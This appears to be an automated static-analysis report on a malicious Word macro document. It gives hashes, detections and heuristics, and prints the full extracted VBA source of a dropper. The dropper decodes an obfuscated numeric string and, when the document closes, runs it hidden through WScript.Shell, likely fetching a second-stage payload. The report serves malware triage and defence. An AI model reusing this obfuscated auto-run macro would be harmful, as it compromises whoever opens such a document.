Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f0b78cf8d5df4c98…

MALICIOUS

Office (OOXML)

36.9 KB Created: 2017-10-25 18:34:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-05-16
MD5: a190d9f1f987ec7e7845d8bbb766b45d SHA-1: b1e303d44b81ebdb4efd6e25438a9ae753d0a0b7 SHA-256: f0b78cf8d5df4c9873ecd7750eb6b49d565097ca59e8592b07a2e748fda1ab2d
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an OOXML document containing VBA macros. The critical heuristics indicate the use of Shell() and WScript.Shell, suggesting the execution of arbitrary commands. The Document_Close subroutine attempts to run a long, obfuscated string using the 'numero' function, which in turn uses WScript.Shell to execute the string, likely downloading and running a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6386552-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6386552-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      If Len(piretico) < 4774 Then
        CreateObject("WScript.Shell").Run piretico, vbHide * 4
      End If
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      If Len(piretico) < 4774 Then
        CreateObject("WScript.Shell").Run piretico, vbHide * 4
      End If
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2690 bytes
SHA-256: eb72cbfd10161eef68e533ec22023b9d32f6dcab137e371a0e8d2eca7ce83c6a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function movimento(ByVal scadenza As Integer) As String
 sgonfiare = Array("S", "a", ",", "T", "s", "-", "=", "n", " ", "O", "h", "v", "D", "d", "\", "x", "N", "E", "i", "e", "A", ".", "q", "g", "b", "w", "$", "k", "B", ")", "Y", "W", "C", "F", "z", ":", "P", "o", "/", "?", "c", "y", "p", "r", "m", "+", "l", "t", "'", "f", ";", "(", "j")
 Dim lorenzo As Integer
 
 For lorenzo = LBound(sgonfiare) To UBound(sgonfiare)
   If lorenzo = scadenza Then
    movimento = sgonfiare(lorenzo)
   End If
 Next
 
End Function


Public Function numero(piretico As String)
  If Len(piretico) < 4774 Then
    CreateObject("WScript.Shell").Run piretico, vbHide * 4
  End If
End Function

Sub Document_Close()
 feralo = deserto("42372519430410194646080516371715184708051715194008284142010404080532374444010713085116192505092452194047080041044719442116194721311924324618190747292112372507463701133318461951481047474235383837274922182410341540343413225225072213214037443800003847010727045221463444480208261907113520363612200320084508481437072209302119151948295008004701434705364337401904040826190711352036361220032048143707220930211915194850085116192505092452194047080041044719442116194721311924324618190747292112372507463701130047431807235148104747423538383727492218241034154034341322522507221321403744380421421042391813064701072704524829")
 Application.Run "numero", feralo
End Sub

Function scarso(ByVal zappato, ByVal analista) As String
 
 capello = LTrim(vbNullString) & vbNullString
 saldatura = Array(zappato, analista)
 
 For risvolto = 0 To UBound(saldatura)
   capello = capello + vbNullString + saldatura(risvolto) + vbNullString
 Next
 
 scarso = capello
End Function

Function deserto(Optional comune As String, Optional comune2)
  maiolica = possesso(comune)
  smarrito = Trim(vbNullString) & vbNullString

  For lorenzo = 0 To Len(comune)
    If (lorenzo + 1) <= UBound(maiolica) Then
    macero = maiolica(lorenzo + 1)
    sintesi = maiolica(lorenzo)
    domato = Int(sintesi + macero)
    annuncio = movimento(domato)
    smarrito = scarso(smarrito, annuncio)
    lorenzo = lorenzo + 1
    End If
  Next
  
  deserto = smarrito
End Function


Function possesso(pagina As String, Optional patologia As Integer) As Variant
    possesso = Split(Left(StrConv(pagina, vbUnicode), Len(StrConv(pagina, vbUnicode)) - 1), vbNullChar)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: af4213b5e361cc3e963afd142db8dd88480a6982c046c7a7c6cd99842977036b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).